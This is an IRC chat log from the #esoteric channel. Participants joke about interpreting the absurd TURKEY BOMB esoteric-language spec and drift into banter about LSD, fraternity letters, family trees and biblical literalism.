representations for operators < 1267467692 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Heh. Where do you people get the idea that ambiguities in a spec can be resolved by asking the person who wrote it, anyway? < 1267467704 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or the idea that I wrote the TURKEY BOMB spec? < 1267467710 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: SHUT UP < 1267467711 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh you didn't? < 1267467716 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I FOUND IT < 1267467719 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so, is the valuestream separate from the operators themselves? < 1267467724 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Discovered mysteriously one day amidst a pile of Byte magazines in a second-hand book store by Chris Pressey" < 1267467726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yep, I believe you < 1267467727 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :At the bottom of a birdcage < 1267467737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The Byte magazines were in the birdcage? < 1267467739 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I wasn't under the impression that cpressey had any idea how TURKEY BOMB worked < 1267467740 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or just the spec? < 1267467746 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Was there anything else in the birdcage if the latter? < 1267467759 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: The whole bookstore was in the birdcage. < 1267467765 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1267467768 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It was a very large birdcage. < 1267467781 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or a very small bookstore. < 1267467809 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : You know, when you consider both the premise of TURKEY BOMB, and the fact that FBBI stands for "Flaming Bovine Befunge Interpreter"... I'll bet the SPCA hates me. <-- SPCA? < 1267467809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\ ADVISORY ADVISORY ADVISORY ADVISORY < 1267467809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Returns the type thus pointed to. Also, the player holding the TURKEY BOMB must pass it off. < 1267467815 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: so types are values < 1267467818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but what are their types? < 1267467832 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, the type of a TURKEY BOMB is obvious enough < 1267467849 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, TURKEY BOMB::Type < 1267467854 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I always assumed that \ returned a value, and "type" was a typo for "value" there < 1267467857 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but if \, an _expression_ < 1267467862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :can return a type as a value < 1267467864 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and every value has a type < 1267467866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then types must have a type < 1267467868 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :good catch < 1267467873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, or perhaps the bird cage was larger on the inside? < 1267467874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but there ain't no type specified for types < 1267467877 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :maybe types themselves are untyped < 1267467878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it was both < 1267467882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: the most turkey bomb way to resolve this is obviously that not all values have typers < 1267467884 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*types < 1267467888 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :nothing really implies that TURKEY BOMB is strictly typed < 1267467905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No, that's a police box. < 1267467906 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, the spec implies it more or less everywhere but doesn't actually /say/ it, so we should ignore the implication < 1267467915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yeah, it was disguised! < 1267467919 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, this means you can have references to types < 1267467922 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it was a bird cage all along! < 1267467930 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :given that an ADVISORY is a quarter of a reference < 1267467931 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :$ BI_IT BI_IT BI_IT BI_IT BI_IT BI_IT $ < 1267467932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Attempt to make a GRUBSTEAK. < 1267467932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :TRIVIA Y EXPR Y TRIVIA < 1267467932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Attempt to make a TRIVIA. < 1267467933 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :TRIVIA BI_IT // < 1267467933 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Attempt to connect a TRIVIA to itself and return it. The BI_IT argument is required, but serves no detectably useful purpose (hardcore followers of the drinking game tradition insist that it's for good luck.) < 1267467933 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Note how the first two don't actually say they RETURN anything... < 1267467946 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Well, no, you can have a quarter of a reference to a type. < 1267467953 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There's just one operation that takes four and dereferences their inaccessible combination. < 1267467978 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If there is a type with no value, then you cannot construct an ADVISORY PERTAINING TO type. < 1267467984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ADVISORY PERTAINING TO type < 1267467984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A quarter of a reference to a object of the given type. < 1267467998 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can't get to the quarter-referenced value, just its type. < 1267468006 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But you need a value to construct one in the first place. < 1267468012 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So you have quarter-references to types that have values. < 1267468025 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I still think it's a typo, the spec makes no sense otherwise < 1267468029 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, even less sense than it normally would < 1267468035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GARNISH PUDDING < 1267468035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Convolutes the PUDDING with recent context drawn from the program. The player holding the TURKEY BOMB must pass it off. < 1267468037 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :maybe cpressey copied it incorrectly from the magazine? < 1267468041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no magazine < 1267468045 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the spec was discovered amongst magazines < 1267468047 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267468050 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Since a pudding is basically a universe, < 1267468052 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, copied it incorrectly anyway < 1267468054 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :convoluting it with recent context < 1267468056 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric := < 1267468062 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :did cpressey find the spec typed on paper, or in electronic form? < 1267468062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :updating the values it has to be their current values < 1267468067 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but recent, that doesn't mean most-recent, surely? < 1267468067 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it would help to know if it implies ASCII or not < 1267468076 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :perhaps it's the turn before this one's state < 1267468081 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ^ < 1267468089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this question is about your transcription :| < 1267468090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, EBCDIC? < 1267468097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, or baudot? < 1267468107 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is about to post something stupid to Facebook
< 1267468114 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: So don't. < 1267468116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, well, don't do that then < 1267468124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :NOMENCLATURE % GRUBSTEAK GRUBSTEAK < 1267468124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Perform iterative cypher transformation of set of names. < 1267468129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Clearly the grubsteaks define the cypher. < 1267468134 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GRUBSTEAK < 1267468135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A fraction whose numerator is a perfect square and whose denominator is a prime number. < 1267468136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fractran, anyone? < 1267468141 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, doesn't the nomenclature? < 1267468150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :NOMENCLATURE < 1267468151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A set of variable names, defined by an EBNF expression that must contain at least one { } (repeated 0 or more times) term. < 1267468151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267468154 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you are thinking in completely the wrong terms here < 1267468160 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :NOMENCLATURE is a bunch of variable names with some sort of EBNF something. < 1267468169 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, pretty sure nomenclature is a crypto term, isn't it? < 1267468170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Defined"? Howso, I wonder? Maybe that is the syntax. < 1267468181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :something related to transposing cryptos < 1267468190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So {a} would be the variable names "","a","aa",... < 1267468209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1267468221 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :some problems are referred to as mental exercise < 1267468234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :turkey bomb is mental tv-watching < 1267468243 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it ruins your mind!!! < 1267468248 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ag irn < 1267468250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fub bip < 1267468255 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :PUDDING!!!!! < 1267468255 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :"So far, in every college class I've taken, there's always been at least one atheist." < 1267468268 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: yeah that's a pretty significantly retarded thing to say < 1267468298 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise http://www.youtube.com/watch?v=2PyXLNL-eHI < 1267468304 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: are you yourself an atheist? or does someone else you know to be an atheist take every class you take? or something else? < 1267468312 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he's an atheist but he's pretty stupid about it in practice < 1267468316 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise, it was handwritten. Do you believe that? < 1267468324 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION removes it
< 1267468327 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(note: I am counteracting the holier than thou/insulting balance) < 1267468331 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :who's an atheist??? < 1267468337 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :AMOUGST US??? < 1267468338 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yes. (No) < 1267468345 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Now what's this about a pigeonhole principle for atheists in college classes? < 1267468361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, with a quill pen? < 1267468371 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Bye all < 1267468377 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And now, it's time for WHO'S AN ATHEIST, the game show where we hunt down and kill anyone who doesn't worship the father, the son and the holy spirit! *theme music plays* < 1267468379 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If only to keep the bird-related theme up, yes. < 1267468391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, ooh I didn't think that far < 1267468391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Don't forget... Robert! < 1267468397 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :atheists are more likely to go to college, because they need surrogates like higher education to fill their life with a semblance of meaning. < 1267468402 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Groogger :D < 1267468408 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: What natural language was it written in, exactly? :P < 1267468431 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: Oh you scoundrel. < 1267468432 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: In truth I cannot be certain... < 1267468443 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, how comes? < 1267468449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: he was playing TURKEY BOMB at the time < 1267468451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :with LSD < 1267468457 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267468458 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(he hadn't seen the warning yet, as he hadn't found the spec yet) < 1267468481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I thought we were in for some LP Lovecraft thingy to explain it < 1267468482 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1267468504 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The spec /is/ /Cthulhu/. < 1267468511 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh how I wish it was merely LSD! In fact, it was extract of shoggoth. < 1267468516 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :NASTY stuff. < 1267468585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So did your finding of the TURKEY BOMB spec cause a lasuac violation that caused you to find it in the first place? < 1267468625 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you mean LSD is not extract of shoggoth? < 1267468660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, no it is lysergic acid diethylamide < 1267468671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i really want to kill you AnMaster < 1267468683 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's Lucy in the Sky with Diamonds. < 1267468684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why? < 1267468689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, haha < 1267468690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's complicated < 1267468723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, if it changes things I had to google it, didn't remember what the name was exactly < 1267468780 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no i guessed you googled it. < 1267468847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it helps I remembered it was acid diethylamide < 1267468900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, actually Beatles got that wrong. It's Lisa not Lucy. She lied about her name < 1267468938 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :"lucy in the sky with diamonds" sounds like a weird variation of Cluedo < 1267468945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Lucy O'Donnell Vodden (1963 - 22 September 2009) was the inspiration for the song. < 1267468948 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: :D < 1267468956 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, heh < 1267468971 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OK < 1267468979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: KO < 1267468985 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :We officially must make a version of Clue in which "Lucy in the Sky with Diamonds" is a valid guess. < 1267468995 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION could've sworn atheism was... Common...
< 1267468998 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbiab < 1267469012 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: ah, I forgot that you Americans had a different name for it < 1267469013 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: WHAT WOULD YOU KNOW JEBUS-HUGGER < 1267469032 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Many things. < 1267469039 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Probably just a consequence of trademark vagaries. < 1267469044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :too bad your system is inconsistent < 1267469048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :YOU KNOW EVERYTHING AND NOTHING < 1267469051 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :This was shortly before John Carpenter and I travelled to FSU to steal the Kappa Upsilon Chi's mascot at the time, which was, as fate would have it, a turkey. < 1267469057 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: How very Xen of you. < 1267469073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You forgot "...on acid". < 1267469076 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... That was an odd misspelling. < 1267469083 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I am an expert on these matters. < 1267469108 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Or are you? < 1267469122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, Z and X are next to each other < 1267469126 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Alas alise, not as much as fungot. < 1267469126 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: athame: the ki-rin is a member of the great tail sweeping from side to side, like a child, opened them and brought them many gifts of food and clothing for their relentless persecution of their victims. < 1267469127 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on qwerty at least < 1267469137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[[Kappa Upsilon Chi ("Keeping Under Christ", Kappa Chi, or ΚΥΧ)]] < 1267469137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's a really irritating abuse of the greek alphabet < 1267469154 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ugh < 1267469159 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I like that last fungot quote < 1267469159 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, eta beta pi < 1267469160 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :scarf: always sweep the floor. only the beginning of lactation in ewes and was a single, savage thrust of her sisters to have been born on the take. < 1267469167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and that's from Discworld < 1267469168 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Excellent Buttock Pissing < 1267469174 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no no < 1267469182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"eat a better pie" < 1267469184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why aren't there any fraternities with three of the same letter? < 1267469185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :eta beta pi < 1267469188 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :see? < 1267469189 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Xi Xi Xi < 1267469197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, because that sounds silly < 1267469201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :EXACTLY < 1267469214 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Welcome to Kappa Kappa Kappa! < 1267469233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I think I saw someone riding a tame ki-rin on NAO once < 1267469243 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea how that happened < 1267469250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Digamma Digamma Digamma! < 1267469279 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: blessed figurine of a ki-rin < 1267469282 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I've done it myself < 1267469292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ah of course... < 1267469293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DIGAMMA DIGAMMA DIGAMMA DIGAMMA DIGAMMA DIGAMMA DIGAMMA upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon upsilon < 1267469294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :get it hur hur? < 1267469304 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :s/upsilon/UPSILON/g < 1267469311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, developers developers? < 1267469324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but what is the UPSILON? < 1267469344 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Beta Beta Beta Beta (Badger Badger ...) < 1267469345 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In the geek alphabet: ϜϜϜϜϜϜϜΥΥΥΥΥΥΥΥΥΥΥΥ < 1267469359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Lowercased: ϝϝϝϝϝϝϝυυυυυυυυυυυυ < 1267469364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :har < 1267469368 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Well, the obsolete greek alphabet.) < 1267469455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, old greek you mean? < 1267469463 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, that's your mom. < 1267469468 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's still used in math < 1267469484 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, that's what your dad said! < 1267469491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(now go figure that one out!) < 1267469502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(also he said it to your mom) < 1267469523 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm my mother's dad's son's brother's father's granddaughter's cousin. < 1267469548 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm my cousin. < 1267469563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(= I'm my self.) < 1267469579 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :har < 1267469589 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq isn't lying though :) < 1267469608 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, impossible? < 1267469620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267469622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not with inbreeding. < 1267469623 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how < 1267469631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1267469635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq comes from a real good Southern family. < 1267469641 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure how you would need to inbreed for that < 1267469651 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Explain to the peon! < 1267469703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :peon? < 1267469730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, that is what your mom said (referring to herself) < 1267469739 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm my mother. < 1267469745 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote unborn < 1267469746 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :56| im my dads unborn sister < 1267469747 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION drowns in feathers.
< 1267469753 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Cousins married a few generations back. Twice. < 1267469757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, why? < 1267469761 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Making me my own 7th and 9th cousin. < 1267469770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, oh not first cousin at least < 1267469779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because that shouldn't be possible < 1267469780 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: That's not something you're supposed to admit on the tuberwebs :P < 1267469799 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: noo, don't mention Feather < 1267469803 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I have real work to do atm! < 1267469808 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, oooh feather! < 1267469809 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That being said, we're all cousins ... even if you have sex with a sheep, you're having sex with your cousin. < 1267469810 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :My family tree is... Hard. < 1267469825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: add the feather operations to turkey bomb < 1267469826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, a pity can't show intonation < 1267469829 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I have 2 parents, 4 grandparents, 8 great-grandparents, and so forth. Therefore I have an infinite number of ancestors. < 1267469831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the way I thought it... < 1267469842 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: We're all part of the same big family :D < 1267469850 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Freaking Hatfields. < 1267469866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You know, the Bible tells us of all the inbreeding that went on in Genesis. < 1267469882 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, ooh, do that as proof by induction < 1267469886 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: If it wasn't for all that Genesis inbreeding, we'd all be living for five hundred years. < 1267469888 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Actually, it's pretty mum on most of the inbreeding that had to happen. < 1267469889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: He did. < 1267469892 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: That inbreeding broke our genes. < 1267469896 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Indeed. That's how those cats all lives to be 800 years old. < 1267469897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: 900 was the top no? < 1267469898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :900 or so < 1267469898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, not a formal such proof < 1267469900 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :s/s/d/ < 1267469902 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, had to happen according to given accounts. < 1267469918 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yuh. < 1267469934 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm not entirely sure how biblical literalists... Rationalise that. < 1267469948 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, wait. < 1267469952 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They don't. < 1267469959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what cats? < 1267469969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not entirely sure how biblical interpretists-and-ignoring-a-large-portion-of-it-anyway... justify believing in /any/ of it. < 1267469971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, wait. < 1267469972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They don't. < 1267469974 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, are there any biblical literalists that take the lolcat version as the version that literally happened? < 1267469978 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, some of the weirder ones do (rationalize it.) < 1267469998 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure talking about the /relative 